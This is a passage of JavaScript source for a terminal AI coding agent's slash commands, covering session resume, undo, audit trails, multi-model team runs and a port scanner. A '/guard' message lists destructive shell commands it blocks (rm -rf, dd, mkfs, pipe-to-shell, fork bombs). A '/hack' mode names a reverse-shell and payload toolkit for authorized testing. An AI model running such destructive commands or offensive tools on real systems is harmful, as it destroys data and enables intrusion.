        lines.push("\n  " + bold("Ollama"));
        blk.text += lines.join("\n"); render();
        ollamaTags().then((ms) => {
          if (ms.length) blk.text += "\n  " + ok(ms.length + " model(s): " + ms.slice(0, 6).join(", ") + (ms.length > 6 ? " …" : ""));
          else blk.text += "\n  " + (apiConfigured() ? ok("API: " + API_BASE()) : no("no models — `ollama pull gpt-oss:20b`"));
          blk.text += "\n\n  " + gray("all green? you're ready to go. fix ○ items to unlock that feature.");
          render();
        }).catch(() => { blk.text += "\n  " + no("Ollama unreachable"); render(); });
      }
      else if (cmd === "/resume") { try { const s = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "session.json"), "utf8")); transcript.length = 0; for (const b of s.transcript) transcript.push(b); if (s.sess) Object.assign(sess, s.sess); if (s.engine && ENGINES[s.engine]) engine = s.engine; cont = true; scroll = 0; transcript.push({ role: "system", text: "resumed the saved session from " + new Date(s.ts).toLocaleString() + " (" + engine + ")" }); } catch (_) { transcript.push({ role: "system", text: "no saved session to resume (sessions are saved to .nexus/session.json after each turn)" }); } }
      else if (cmd === "/export") { try { const L = ["# Nexus conversation", "", "_" + new Date().toLocaleString() + " · " + engine + " · " + cwd + "_", ""]; for (const m of transcript) { if (m.role === "user") L.push("## You", "", m.text, ""); else if (m.role === "nexus") { L.push("## Nexus", ""); for (const it of (m.items || [])) { if (it.type === "text") L.push(it.full); else if (it.type === "tool") L.push("- `" + it.label + "`"); } L.push(""); } else if (m.role === "system") L.push("> " + String(m.text).replace(/\n/g, " "), ""); } const fp = path.join(cwd, "nexus-" + new Date().toISOString().replace(/[:.]/g, "-").slice(0, 19) + ".md"); fs.writeFileSync(fp, L.join("\n")); transcript.push({ role: "system", text: "exported conversation → " + path.relative(cwd, fp) }); } catch (e) { transcript.push({ role: "system", text: "export failed: " + e.message }); } }
      else if (cmd === "/copy") { let last = ""; for (let i = transcript.length - 1; i >= 0; i--) { const m = transcript[i]; if (m.role === "nexus") { last = (m.items || []).filter((it) => it.type === "text").map((it) => it.full).join("\n").trim(); if (last) break; } } if (last) { out.write("\x1b]52;c;" + Buffer.from(last).toString("base64") + "\x07"); transcript.push({ role: "system", text: "copied Nexus's last reply to the clipboard" }); } else transcript.push({ role: "system", text: "nothing to copy yet" }); }
      else if (cmd === "/rewind") { if (!checkpoints.length) transcript.push({ role: "system", text: "no checkpoints to rewind to" }); else { const n = parseInt(arg, 10); const idx = isNaN(n) ? checkpoints.length - 1 : n - 1; const ck = checkpoints[idx]; if (!ck) transcript.push({ role: "system", text: "no checkpoint #" + arg + " — /checkpoints to list them" }); else { const ok = nexusRestore(cwd, ck.tree, ck.paths); if (ok) checkpoints.length = idx; transcript.push({ role: "system", text: ok ? ("rewound to checkpoint #" + (idx + 1) + " (before \"" + ck.label + "\") — restored " + ((ck.paths && ck.paths.length) ? ck.paths.length + " file(s) Nexus changed" : "the working tree")) : "rewind failed (git error)" }); } } }
      else if (cmd === "/clear" || cmd === "/new") { transcript.length = 0; transcript.push({ role: "art" }, { role: "system", text: "new chat  ·  " + engine + "  ·  " + cwd }); cont = false; oMsgs.length = 1; sess.ctxUsed = 0; scroll = 0; }
      else if (cmd === "/compact") doCompact(false);
      else if (cmd === "/context") transcript.push({ role: "system", text: "context: " + fmtK(sess.ctxUsed) + " / " + fmtK(sess.ctxWindow) + " tokens (" + Math.round((sess.ctxUsed / (sess.ctxWindow || 1)) * 100) + "%)  ·  window " + fmtK(sess.ctxWindow) });
      else if (cmd === "/cost") transcript.push({ role: "system", text: PAID[engine] ? ("session: ↑" + fmtK(sess.inTok) + " in · ↓" + fmtK(sess.outTok) + " out" + (sess.cost ? " · $" + sess.cost.toFixed(4) : "") + (costCap ? " · cap $" + costCap.toFixed(2) : "")) : "engine is local (Ollama) — free, no token charges" });
      else if (cmd === "/budget") { const v = parseFloat(arg); if (arg && !isNaN(v) && v > 0) { costCap = v; transcript.push({ role: "system", text: "budget cap set to $" + v.toFixed(2) + " — turns pause when session cost reaches it" }); } else if (arg === "off" || arg === "0") { costCap = 0; transcript.push({ role: "system", text: "budget cap removed" }); } else transcript.push({ role: "system", text: "usage: /budget <usd>  (e.g. /budget 5.00, or /budget off)" }); }
      else if (cmd === "/report") { const parts = (arg || "").trim().split(/\s+/).filter(Boolean); const si = parts.indexOf("since"); const since = si >= 0 ? parts[si + 1] : null; const recs = loadUsage(cwd, since ? { since } : {}); if (!recs.length) { transcript.push({ role: "system", text: "no usage recorded yet" + (since ? " since " + since : "") + " (.nexus/usage.jsonl fills up as you run turns)" }); } else { const s = summarize(recs); if (parts[0] === "json") transcript.push({ role: "system", text: JSON.stringify(s, null, 2) }); else { const rep = renderReport(s, { project: path.basename(cwd) }); if (parts[0] === "save") { try { const f = path.join(cwd, ".nexus", "usage-report.md"); fs.writeFileSync(f, "```\n" + rep + "\n```\n"); transcript.push({ role: "system", text: "saved usage report to " + f }); } catch (e) { transcript.push({ role: "system", text: "could not save report: " + (e && e.message || e) }); } } else transcript.push({ role: "system", text: rep + "\n\n  /report json · /report save · /report since 2026-08-01 · headless: darknode report" }); } } }
      else if (cmd === "/savings") { const parts = (arg || "").trim().split(/\s+/).filter(Boolean); const si = parts.indexOf("since"); const since = si >= 0 ? parts[si + 1] : null; const recs = loadUsage(cwd, since ? { since } : {}); if (!recs.length) { transcript.push({ role: "system", text: "no usage recorded yet — the savings analysis needs some Nexus turns in .nexus/usage.jsonl first" }); } else { const a = analyzeSavings(recs); transcript.push({ role: "system", text: (parts[0] === "json" ? JSON.stringify(a, null, 2) : renderSavings(a, { project: path.basename(cwd) }) + "\n\n  headless: darknode savings") }); } }
      else if (cmd === "/compliance") { try { const key = process.env.DARKNODE_SIGNING_KEY || ""; const b = buildBundle(cwd, { operator: ident.operator, team: ident.team, signingKey: key || undefined }); const stamp = new Date().toISOString().replace(/[:.]/g, "-"); const base = path.join(cwd, ".nexus", "compliance-" + stamp); fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(base + ".json", JSON.stringify(b, null, 2)); fs.writeFileSync(base + ".md", renderBundleMd(b)); transcript.push({ role: "system", text: "compliance bundle written (operator " + ident.operator + (ident.team ? " · team " + ident.team : "") + "):\n  " + base + ".json\n  " + base + ".md\n  audit chain: " + (b.auditChain.present ? (b.auditChain.verified ? "verified (" + b.auditChain.records + " records)" : "BROKEN — " + b.auditChain.reason) : "none yet") + "\n  integrity: sha256 " + b.integrity.hash.slice(0, 16) + "…" + (b.signature ? "\n  signed: hmac-sha256 (DARKNODE_SIGNING_KEY)" : "\n  tip: set DARKNODE_SIGNING_KEY to HMAC-sign the bundle") + "\n  verify: darknode compliance verify " + base + ".json" }); } catch (e) { transcript.push({ role: "system", text: "compliance export failed: " + (e && e.message || e) }); } }
      else if (cmd === "/undo") { if (!checkpoints.length) transcript.push({ role: "system", text: "nothing to undo (no checkpoints this session, or not a git repo)" }); else { const ck = checkpoints.pop(); const nowTree = nexusCheckpoint(cwd); const ok = nexusRestore(cwd, ck.tree, ck.paths); if (ok && nowTree) redoStack.push({ tree: nowTree, label: ck.label, paths: ck.paths }); transcript.push({ role: "system", text: ok ? ("undid \"" + ck.label + "\" — restored " + ((ck.paths && ck.paths.length) ? ck.paths.length + " file(s) Nexus changed this turn (unrelated edits untouched)" : "the working tree") + " (/redo to reapply)") : "undo failed (git error)" }); } }
      else if (cmd === "/redo") { const r = redoStack.pop(); if (!r) transcript.push({ role: "system", text: "nothing to redo" }); else { const ok = nexusRestore(cwd, r.tree, r.paths); if (ok) checkpoints.push({ tree: r.tree, label: r.label, ts: Date.now(), paths: r.paths }); transcript.push({ role: "system", text: ok ? ("redid — reapplied the changes from \"" + r.label + "\"") : "redo failed (git error)" }); } }
      else if (cmd === "/race") { if (!argstr) transcript.push({ role: "system", text: "usage: /race <prompt>  — runs it on every available engine (claude/local/opencode) at once and shows all answers" }); else raceEngines(argstr); }
      else if (cmd === "/review") { reviewLast(arg); }
      else if (cmd === "/ultrareview" || cmd === "/ur") { ultraReview(); }
      else if (cmd === "/changelog") { (async () => { const range = arg && arg.trim() ? arg.trim() : null; let rng = range; if (!rng) { const t = await sh(["describe", "--tags", "--abbrev=0"]); const tag = (t.stdout || "").trim(); rng = tag ? tag + "..HEAD" : ""; } const lg = await sh(["log", "--no-color", "--pretty=%h%x09%s"].concat(rng ? [rng] : ["-40"])); const commits = parseCommits(lg.stdout || ""); const md = renderChangelog(commits, { title: "Changelog", range: rng || "recent" }); transcript.push({ role: "system", text: commits.length ? md : "no commits found" + (rng ? " in " + rng : "") }); render(); })(); }
      else if (cmd === "/secrets") { try { const files = _cp.execSync("git ls-files", { cwd, encoding: "utf8" }).split("\n").filter(Boolean).slice(0, 1500); const found = []; for (const f of files) { try { if (fs.statSync(path.join(cwd, f)).size > 400000) continue; const hits = scanSecrets(fs.readFileSync(path.join(cwd, f), "utf8")); if (hits.length) found.push("  " + f + " — " + hits.join(", ")); } catch (_) {} } transcript.push({ role: "system", text: found.length ? ("possible secrets found in tracked files:\n" + found.slice(0, 40).join("\n")) : "scanned tracked files — no obvious secrets found" }); } catch (_) { transcript.push({ role: "system", text: "/secrets needs a git repo (uses git ls-files)" }); } }
      else if (cmd === "/scan") { const host = arg || "127.0.0.1"; const COMMON = [21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389, 5432, 6379, 8080, 8443, 9000]; transcript.push({ role: "system", text: "scanning " + host + " (" + COMMON.length + " common TCP ports)…" }); render(); quickScan(host, COMMON).then((open) => { transcript.push({ role: "system", text: open.length ? ("open on " + host + ": " + open.join(", ")) : "no common ports open on " + host }); render(); }); }
      else if (cmd === "/notify") { notify = !notify; transcript.push({ role: "system", text: "completion notifications " + (notify ? "ON — a bell rings (and a desktop notification) when a turn over ~15s finishes, so you can step away" : "off") }); }
      else if (cmd === "/watch") { if (!argstr) transcript.push({ role: "system", text: "usage: /watch <command>  — runs it, and if it fails has " + engine + " fix the code and re-run, up to 5 times (e.g. /watch npm test)" }); else watchFix(argstr); }
      else if (cmd === "/commit") commitChanges();
      else if (cmd === "/diff") {
        const a = (arg || "").trim();
        const staged = a === "--staged" || a === "--cached";
        const file = staged ? "" : a;
        const pathspec = file ? " -- " + JSON.stringify(file) : "";
        const primary = staged ? "git -c color.ui=never diff --cached" : "git -c color.ui=never diff HEAD";
        let d = ""; try { d = _cp.execSync(primary + pathspec, { cwd, encoding: "utf8" }); } catch (_) { try { d = _cp.execSync("git -c color.ui=never diff" + pathspec, { cwd, encoding: "utf8" }); } catch (__) {} }
        if (!d.trim()) transcript.push({ role: "system", text: (staged ? "no staged changes" : file ? "no changes in " + file : "no changes vs HEAD (working tree clean)") });
        else { const files = (d.match(/^diff --git/gm) || []).length, adds = (d.match(/^\+(?!\+\+)/gm) || []).length, dels = (d.match(/^-(?!--)/gm) || []).length; transcript.push({ role: "system", text: (staged ? "staged: " : "") + files + " file" + (files === 1 ? "" : "s") + " changed   " + green("+" + adds) + "  " + red("-" + dels) }); transcript.push({ role: "diff", text: d.slice(0, 24000) }); }
      }
      else if (cmd === "/pin") { if (!arg) transcript.push({ role: "system", text: "usage: /pin <file>  — keeps that file in context on every turn" }); else if (!fs.existsSync(path.resolve(cwd, arg))) transcript.push({ role: "system", text: "no such file: " + arg }); else { pinned.add(arg); transcript.push({ role: "system", text: "pinned " + arg + " — its contents are added to every prompt now (" + pinned.size + " pinned)" }); } }
      else if (cmd === "/unpin") { if (arg && pinned.delete(arg)) transcript.push({ role: "system", text: "unpinned " + arg }); else if (arg === "all") { pinned.clear(); transcript.push({ role: "system", text: "unpinned all" }); } else transcript.push({ role: "system", text: "not pinned: " + arg + "  (/unpin all clears everything)" }); }
      else if (cmd === "/pins") transcript.push({ role: "system", text: pinned.size ? ("pinned files (in context every turn):\n" + [...pinned].map((f) => "  " + f).join("\n")) : "no pinned files — /pin <file> to add one" });
      else if (cmd === "/redact") { redact = !redact; transcript.push({ role: "system", text: "cloud redaction " + (redact ? "ON — secrets (API keys, tokens, private keys) are masked before anything is sent to a cloud engine (claude/opencode); local engine is unaffected" : "off") }); }
      else if (cmd === "/ensemble") { if (!argstr) transcript.push({ role: "system", text: "usage: /ensemble <prompt> — asks every engine, then synthesizes the single best answer" }); else ensembleEngines(argstr); }
      else if (cmd === "/loop") {
        let goal = argstr.trim(), maxRounds = 6;
        const nm = goal.match(/(?:^|\s)-n\s+(\d+)\b/); if (nm) { maxRounds = clampRounds(nm[1], 6); goal = (goal.slice(0, nm.index) + " " + goal.slice(nm.index + nm[0].length)).trim(); }
        if (!goal) { transcript.push({ role: "system", text: "autonomous goal loop — Nexus keeps taking the next step toward a goal until it's done or the round cap.\n  usage: /loop [-n rounds] <goal>   e.g. /loop -n 8 make every button use the shared design tokens\n  the agent ends with GOAL-DONE when complete; stop early with ctrl+c." }); }
        else {
          const block = { role: "nexus", items: [] }; transcript.push(block);
          block.items.push({ type: "text", full: bold("Autonomous loop") + gray("  ·  " + engine + "  ·  up to " + maxRounds + " rounds  ·  ") + cyan(goal), shown: 0 });
          busy = true; busyStart = Date.now(); busyWord = "Looping"; ctl = makeCtl(); scroll = 0; startTick(); render();
          const runStep = async (prompt) => {
            try {
              if (engine === "ollama") { const m = (sess.model && sess.model !== engine) ? sess.model : pickCoderModel(await ollamaTags()); const res = await ollamaExec(m, prompt, "", cwd, aSignal(ctl)); return (res.output || "").trim(); }
              const mdl = (sess.model && sess.model !== engine) ? sess.model : undefined;
              const res = await runEngineTask(engine, prompt, cwd, true, false, null, ctl, mdl);
              let out = (res.output || "").trim(); const proto = ENGINES[engine] && ENGINES[engine].proto;
              if (proto === "gemini-json") { const p = geminiParse(out); if (p && p.text) out = p.text; }
              else if (proto === "codex-json") { const p = codexParse(out); if (p && p.text) out = p.text; else if (p && p.error) out = "codex error: " + p.error; }
              return out;
            } catch (e) { return "(error: " + (e && e.message || e) + ")"; }
          };
          (async () => {
            let round = 0, lastNote = "", stopReason = "";
            try {
              while (round < maxRounds) {
                if (ctl && ctl.stopped) { stopReason = "interrupted"; break; }
                round++;
                const card = { type: "tool", id: "lp" + round, name: "Task", label: "round " + round + "/" + maxRounds + " (" + engine + ")", status: "run", start: Date.now() };
                block.items.push(card); render();
                const out = await runStep(loopPrompt(goal, round, maxRounds, lastNote));
                card.status = "ok"; card.end = Date.now();
                block.items.push({ type: "text", full: "\n" + bold(cyan("round " + round)) + "\n" + out.slice(0, 2000), shown: 0 }); render();
                const d = loopDecision(round, maxRounds, out); lastNote = out.slice(-1200);
                if (d.stop) { stopReason = d.reason; break; }
              }
            } catch (e) { block.items.push({ type: "text", full: red("\nloop error: " + (e && e.message || e)), shown: 0 }); }
            block.summary = "loop: " + round + " round" + (round === 1 ? "" : "s") + "  ·  " + (stopReason || "done") + "  ·  " + ((Date.now() - busyStart) / 1000).toFixed(0) + "s";
            if (policy.audit) auditLog(cwd, { engine: "loop", tool: "loop_run", status: (ctl && ctl.stopped) ? "interrupted" : "ok", rounds: round, reason: stopReason });
            busy = false; ctl = null; try { saveSession(); } catch (_) {} maybeAutoCompact(); render();
          })();
        }
      }
      else if (cmd === "/team") {
        const task = argstr.trim();
        if (!task) { transcript.push({ role: "system", text: "multi-model workspace — an architect plans, a builder implements, an independent reviewer checks; each role can be a different model.\n  usage: /team <task>\n  configure roles in .nexus/team.json:  {\"roles\":[{\"role\":\"architect\",\"engine\":\"claude\"},{\"role\":\"builder\",\"engine\":\"codex\",\"model\":\"gpt-5-codex\"},{\"role\":\"reviewer\",\"engine\":\"gemini\"}]}\n  default picks distinct available engines so the reviewer is genuinely independent." }); }
        else {
          let roles, maxRounds = 3; try { const c = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "team.json"), "utf8")); const tw = validateTeam(c, ENGINE_ORDER); if (tw.length) transcript.push({ role: "system", text: "team.json warnings:\n  " + tw.join("\n  ") }); if (c && Array.isArray(c.roles) && c.roles.length) roles = c.roles.map((r) => ({ role: r.role || "member", engine: r.engine || engine, model: r.model || "" })); if (c && c.maxRounds) maxRounds = Math.max(1, Math.min(5, c.maxRounds | 0)); } catch (_) {}
          if (!roles) { const other = engineAvail("claude") && engine !== "claude" ? "claude" : (engine === "claude" ? "ollama" : "claude"); roles = [{ role: "architect", engine: engineAvail("claude") ? "claude" : engine, model: "" }, { role: "builder", engine, model: "" }, { role: "reviewer", engine: other, model: "" }]; }
          roles = roles.filter((r) => r.engine === "ollama" || engineAvail(r.engine));
          if (!roles.length) transcript.push({ role: "system", text: "no available engines for the team — install an AI CLI or run Ollama, then retry" });
          else {
            const block = { role: "nexus", items: [] }; transcript.push(block);
            block.items.push({ type: "text", full: bold("Multi-model workspace") + gray("  ·  ") + roles.map((r) => r.role + "→" + r.engine + (r.model ? ":" + r.model : "")).join(gray(" · ")), shown: 0 });
            const cards = roles.map((r, i) => ({ type: "tool", id: "tm" + i, name: "Task", label: r.role + "(" + r.engine + (r.model ? ":" + r.model : "") + ")", status: "wait", start: Date.now(), detail: r.role }));
            cards.forEach((c) => block.items.push(c));
            busy = true; busyStart = Date.now(); busyWord = "Collaborating"; ctl = makeCtl(); scroll = 0; startTick(); render();
            const setCard = (role, status) => { const c = cards.find((x) => x.label.startsWith(role + "(")); if (c) { c.status = status; if (status !== "run" && status !== "wait") c.end = Date.now(); if (status === "run") c.start = Date.now(); } render(); };
            const runRole = async (r, prompt, autonomous) => {
              try {
                if (r.engine === "ollama") { const m = r.model || pickCoderModel(await ollamaTags()); const res = await ollamaExec(m, prompt, "", cwd, aSignal(ctl)); return (res.output || "").trim(); }
                const res = await runEngineTask(r.engine, prompt, cwd, autonomous, false, null, ctl, r.model || undefined);
                let out = (res.output || "").trim(); const proto = ENGINES[r.engine] && ENGINES[r.engine].proto;
                if (proto === "gemini-json") { const p = geminiParse(out); if (p && p.text) out = p.text; }
                else if (proto === "codex-json") { const p = codexParse(out); if (p && p.text) out = p.text; else if (p && p.error) out = "codex error: " + p.error; }
                return out;
              } catch (e) { return "(error: " + (e && e.message || e) + ")"; }
            };
            (async () => {
              try {
                const arch = roles.find((r) => r.role === "architect") || roles[0];
                const build = roles.find((r) => r.role === "builder") || roles[Math.min(1, roles.length - 1)];
                const rev = roles.find((r) => r.role === "reviewer");
                const stopped = () => ctl && ctl.stopped;
                const gitDiff = () => { try { return _cp.execSync("git -c color.ui=never diff HEAD", { cwd, encoding: "utf8" }).slice(0, 6000); } catch (_) { return ""; } };
                const verdictOf = (t) => { const m = String(t).toUpperCase().match(/\b(PASS|FAIL)\b/g); return m ? m[m.length - 1] : ""; }; // last PASS/FAIL wins
                let plan = "";
                if (arch) { setCard(arch.role, "run"); plan = await runRole(arch, "You are the ARCHITECT on a software team. Produce a concise, numbered implementation plan for the task. Do NOT write code — just the plan.\n\nTASK: " + task, false); setCard(arch.role, "ok"); block.items.push({ type: "text", full: "\n" + bold(cyan("architect · " + arch.engine)) + "\n" + plan, shown: 0 }); render(); }
                // build → review, looping until the reviewer says PASS or maxRounds is hit
                let round = 0, verdict = "", feedback = "";
                while (!stopped() && build && round < maxRounds) {
                  round++;
                  const rtag = maxRounds > 1 ? " (round " + round + "/" + maxRounds + ")" : "";
                  setCard(build.role, "run");
                  const built = await runRole(build, "You are the BUILDER on a software team. Implement the plan in this codebase — create/edit files and run commands as needed." + (feedback ? " The reviewer found issues in the previous attempt — FIX them:\n" + feedback : "") + "\n\nTASK: " + task + "\n\nPLAN:\n" + plan, true);
                  setCard(build.role, "ok"); block.items.push({ type: "text", full: "\n" + bold(cyan("builder · " + build.engine + rtag)) + "\n" + built.slice(0, 2200), shown: 0 }); render();
                  if (stopped() || !rev) break;
                  setCard(rev.role, "run");
                  const review = await runRole(rev, "You are an INDEPENDENT REVIEWER. Review the implementation for correctness, security and completeness. List concrete issues, then end with a single line: exactly PASS or FAIL. Do NOT modify files.\n\nTASK: " + task + "\n\nPLAN:\n" + plan + "\n\nDIFF vs HEAD:\n" + (gitDiff() || "(no git diff available)"), false);
                  setCard(rev.role, "ok"); verdict = verdictOf(review);
                  block.items.push({ type: "text", full: "\n" + bold(cyan("reviewer · " + rev.engine + rtag)) + " " + (verdict === "PASS" ? green("PASS") : verdict === "FAIL" ? red("FAIL") : "") + "\n" + review, shown: 0 }); render();
                  if (verdict === "PASS" || !verdict) break; // PASS, or reviewer gave no clear verdict → stop
                  feedback = review;
                }
                if (policy.audit) auditLog(cwd, { engine: "team", tool: "team_run", status: stopped() ? "interrupted" : "ok", verdict: verdict || "n/a", rounds: round, reason: roles.map((r) => r.role + ":" + r.engine).join(",") });
                block.summary = "team " + roles.map((r) => r.engine).join(" → ") + (rev ? "  ·  " + (verdict || "no verdict") + " in " + round + " round" + (round === 1 ? "" : "s") : "") + "  ·  " + ((Date.now() - busyStart) / 1000).toFixed(0) + "s";
              } catch (e) { block.items.push({ type: "text", full: red("\nteam error: " + (e && e.message || e)), shown: 0 }); }
              busy = false; ctl = null; try { saveSession(); } catch (_) {} maybeAutoCompact(); render();
            })();
          }
        }
      }
      else if (cmd === "/bench") { if (!argstr) transcript.push({ role: "system", text: "usage: /bench <prompt> — runs it on each engine and reports a speed / tokens / cost table" }); else benchEngines(argstr); }
      else if (cmd === "/guard") { if (["enforce", "warn", "off"].includes(arg)) { guard = arg; transcript.push({ role: "system", text: "Darknode guard set to " + arg + (arg === "enforce" ? " — destructive agent commands (rm -rf, git reset --hard, dd, mkfs, pipe-to-shell, fork bombs, …) are blocked" : arg === "warn" ? " — destructive commands are flagged but allowed" : " — destructive-command checks disabled") }); } else transcript.push({ role: "system", text: "Darknode guard is " + guard + ".  usage: /guard enforce|warn|off  — preflights the local agent's shell commands for destructive intent" }); }
      else if (cmd === "/settings" || cmd === "/options" || cmd === "/config") {
        const v = { engine, model: (sess.model && sess.model !== engine ? sess.model : ""), effort, fallback, style, lean, cowork, costCap, cost: sess.cost, mode: (MODES[mode] && MODES[mode].k) || "auto-accept", guard, policyOrg: policy.org, audit: policy.audit, redact, offline, notify, ctxPct: sess.ctxWindow ? Math.min(100, Math.round((sess.ctxUsed / sess.ctxWindow) * 100)) : null, pins: pinned.size, bgRunning: bgJobs.running() };
        let text = bold("Settings") + gray("   change any option with the command shown");
        for (const s of describeSettings(v)) { text += "\n\n" + bold(cyan(s.group)); for (const r of s.rows) { const gap = " ".repeat(Math.max(2, 20 - r.value.length)); text += "\n  " + r.label.padEnd(24) + bold(r.value) + gap + gray(r.cmd); } }
        transcript.push({ role: "system", text });
      }
      else if (cmd === "/jobs") { const js = bgJobs.list(); if (!js.length) transcript.push({ role: "system", text: "no background jobs — the local agent starts them with run_background{command}, polls with check_background{id}" }); else transcript.push({ role: "system", text: "background jobs:\n" + js.map((j) => "  " + (j.status === "running" ? yellow("● running") : j.status === "killed" ? red("● killed ") : green("● done" + (j.code ? " (" + j.code + ")" : ""))) + " " + gray(j.id) + "  " + oneline(j.command, 44) + gray("  " + j.bytes + "b")).join("\n") }); }
      else if (cmd === "/policy") { const lines = ["protected paths: " + (policy.protectedPaths || []).length + "  (never written/deleted)", "denied commands: " + (policy.deniedCommands || []).length, "max files/turn: " + (policy.maxFilesPerTurn || "unlimited"), "block secret writes: " + (policy.blockSecrets ? "on" : "off"), "network: " + (policy.allowNetwork ? "allowed" : "blocked"), "audit trail: " + (policy.audit ? ".nexus/audit.jsonl (hash-chained)" : "off")]; transcript.push({ role: "system", text: "active security policy" + (policy.org ? " " + yellow("[ORG-ENFORCED — local config can only add restrictions]") : " (edit .nexus/policy.json)") + ":\n  " + lines.join("\n  ") + (policyWarnings(cwd).length ? "\n  " + yellow("config warnings: " + policyWarnings(cwd).join("; ")) : "") + "\n  guard=" + guard + " · redact=" + (redact ? "on" : "off") + " · enforced on the local agent; injected into Claude's instructions" }); }
      else if (cmd === "/audit") {
        if (arg === "verify") { const v = auditVerify(cwd); transcript.push({ role: "system", text: v.empty ? "audit trail is empty — nothing to verify" : v.ok ? green("audit trail intact") + " — " + v.count + " record(s), hash chain verified" : red("audit trail TAMPERED") + " — " + v.reason + " at record #" + v.badLine + " of " + v.count }); }
        else { try { const raw = fs.readFileSync(path.join(cwd, ".nexus", "audit.jsonl"), "utf8").trim().split("\n").filter(Boolean); const last = raw.slice(-12).map((l) => { try { const e = JSON.parse(l); return "  " + gray(e.ts ? e.ts.slice(11, 19) : "") + " " + (e.status === "blocked" ? red("blocked") : e.status === "error" ? yellow("error  ") : green("ok     ")) + " " + e.tool + gray(" " + (e.path || e.cmd || "") + (e.reason ? " — " + e.reason : "")); } catch (_) { return ""; } }).filter(Boolean); const v = auditVerify(cwd); transcript.push({ role: "system", text: (last.length ? "audit trail (last " + last.length + " of " + raw.length + "):\n" + last.join("\n") : "audit trail is empty") + "\n  " + (v.ok ? green("chain verified") : red("CHAIN BROKEN — /audit verify")) + " · /audit verify for details" }); } catch (_) { transcript.push({ role: "system", text: "no audit trail yet (.nexus/audit.jsonl) — records enforced tool actions when policy.audit is on" }); } }
      }
      else if (cmd === "/cowork") { const pp = argstr.split(/\s+/).filter(Boolean);
        if (pp[0] === "off") { cowork = { on: false, strong: "", weak: "", weakKind: "claude" }; transcript.push({ role: "system", text: "cowork off — single-model mode" }); }
        else if (pp.length >= 2 && pp[0] !== pp[1]) { const wk = /^(ollama|local):/i.test(pp[1]) ? "ollama" : "claude"; const wn = pp[1].replace(/^(ollama|local):/i, ""); cowork = { on: true, strong: pp[0], weak: wn, weakKind: wk }; transcript.push({ role: "system", text: "cowork ON — " + pp[0] + " does the coding; " + (wk === "ollama" ? "the FREE local model " + wn : "the cheaper Claude model " + wn) + " handles mechanical work (tests, builds, commit messages, plan steps) when it saves more than the delegation overhead." + (wk === "claude" ? " Claude Code's background model is also pointed at " + wn + ", so " + pp[0] + " burns fewer tokens on summaries/classification." : " (a local weak model is free, so mechanical steps cost nothing — just slower.)") + (engine !== "claude" ? "\n(note: cowork applies to the claude engine — /engine claude)" : "") }); }
        else if (pp.length) transcript.push({ role: "system", text: "cowork needs two DIFFERENT models (same model = normal claude).\nusage: /cowork <strong> <weak>\n  weak can be any cheaper Claude model — haiku · sonnet · opus · fable · a full name like claude-haiku-4-5-20251001\n  or a FREE local model — prefix with ollama: e.g.  /cowork opus ollama:qwen2.5-coder\nexamples:  /cowork opus haiku   ·   /cowork opus sonnet   ·   /cowork claude-opus-4-8 ollama:hermes3" });
        else transcript.push({ role: "system", text: cowork.on ? ("cowork: " + cowork.strong + " (code) + " + (cowork.weakKind === "ollama" ? "local:" : "") + cowork.weak + " (cheap work) — " + impact.delegated + " task(s) delegated so far") : "cowork off.\nusage: /cowork <strong> <weak>  —  weak = haiku|sonnet|opus|fable|<full-name> or ollama:<local-model>\ne.g. /cowork opus haiku · /cowork opus sonnet · /cowork opus ollama:qwen2.5-coder · /cowork off" }); }
      else if (cmd === "/lean") { lean = !lean; transcript.push({ role: "system", text: "lean mode " + (lean ? "ON — saves tokens:\n  • minimal output (no preamble/recap)\n  • agent steps capped at 12 per turn\n  • tool output truncated to 8K chars\n  • read_file capped at 8K chars\n  • @file inline capped at 3K chars\n  • per-turn output budget: 8K tokens\n  • history pruned to last 4 messages\n  • claude --max-turns 8\n  toggle off with /lean" : "OFF — full power, no token limits") }); }
      else if (cmd === "/style") { if (arg && styleMap[arg] !== undefined) { style = arg; transcript.push({ role: "system", text: "output style: " + bold(arg) + (arg === "default" ? "" : " — " + styleDir(arg)) + gray("  (applies to every engine)") }); } else transcript.push({ role: "system", text: "output styles (shape HOW the AI works — add your own as .nexus/styles/<name>.md):\n" + Object.keys(styleMap).map((n) => "  " + (n === style ? cyan("● " + n) : "  " + n) + gray(n === "default" ? "" : "  " + styleDir(n).slice(0, 60))).join("\n") + "\n  usage: /style <name>" }); }
      else if (cmd === "/effort") { if (["low", "medium", "high", "xhigh", "max"].includes(arg)) { effort = arg; transcript.push({ role: "system", text: "effort set to " + arg + " — the claude engine uses " + (arg === "low" ? "less thinking (fewer tokens, cheaper; good for mechanical work)" : arg === "high" || arg === "xhigh" || arg === "max" ? "more thinking (better on hard problems, more tokens)" : "the default thinking budget") + (engineCap(engine, "effort") ? "" : " · note: only claude uses effort; " + engine + " ignores it") }); } else if (arg === "off" || arg === "default") { effort = ""; transcript.push({ role: "system", text: "effort reset to the model default" }); } else transcript.push({ role: "system", text: "effort: " + (effort || "default") + ".  usage: /effort low|medium|high  (lower = fewer thinking tokens = cheaper)" }); }
      else if (cmd === "/hack") { hack = arg === "on" ? true : arg === "off" ? false : !hack; transcript.push({ role: "system", text: hack ? red("● HACK MODE") + " — Nexus is now an offensive-security specialist for AUTHORIZED engagements, with the full Darknode toolkit (scan · dns · cert · subs · cve · payloads · revshell · dorks · jwt · hash · totp · encode …) available via run_command. Systems you own or are explicitly in-scope to test only. " + gray("/hack off to exit") : "hack mode OFF — back to the standard coding agent" }); }
      else if (cmd === "/pentest") { const { startPentest } = require("./lib/nexus/pentest-engine"); startPentest(arg || null, { reportDir: process.cwd() }).catch(e => transcript.push({ role: "system", text: "HYDRA error: " + e.message })); }
      else if (cmd === "/ai-prompt" || cmd === "/aiprompt") {
        const raw = argstr.trim();
        if (!raw) transcript.push({ role: "system", text: "usage: /ai-prompt <rough prompt> — the AI rewrites & sharpens it, then drops the result in your input box to edit or send" });
        else {
          const meta = "You are an expert prompt engineer for AI coding agents. Rewrite and strengthen the user's prompt below: make the intent explicit, add the constraints and acceptance criteria a strong engineer would assume, emphasize what matters most, and stay faithful and concise. Output ONLY the improved prompt — no preamble, no surrounding quotes, no explanation.\n\nUSER PROMPT:\n" + raw;
          const blk = { role: "system", text: "sharpening your prompt…" }; transcript.push(blk);
          busy = true; ctl = makeCtl(); scroll = 0; render();
          engineAnswer(offline ? "ollama" : engine, meta).then((out) => {
            busy = false; ctl = null;
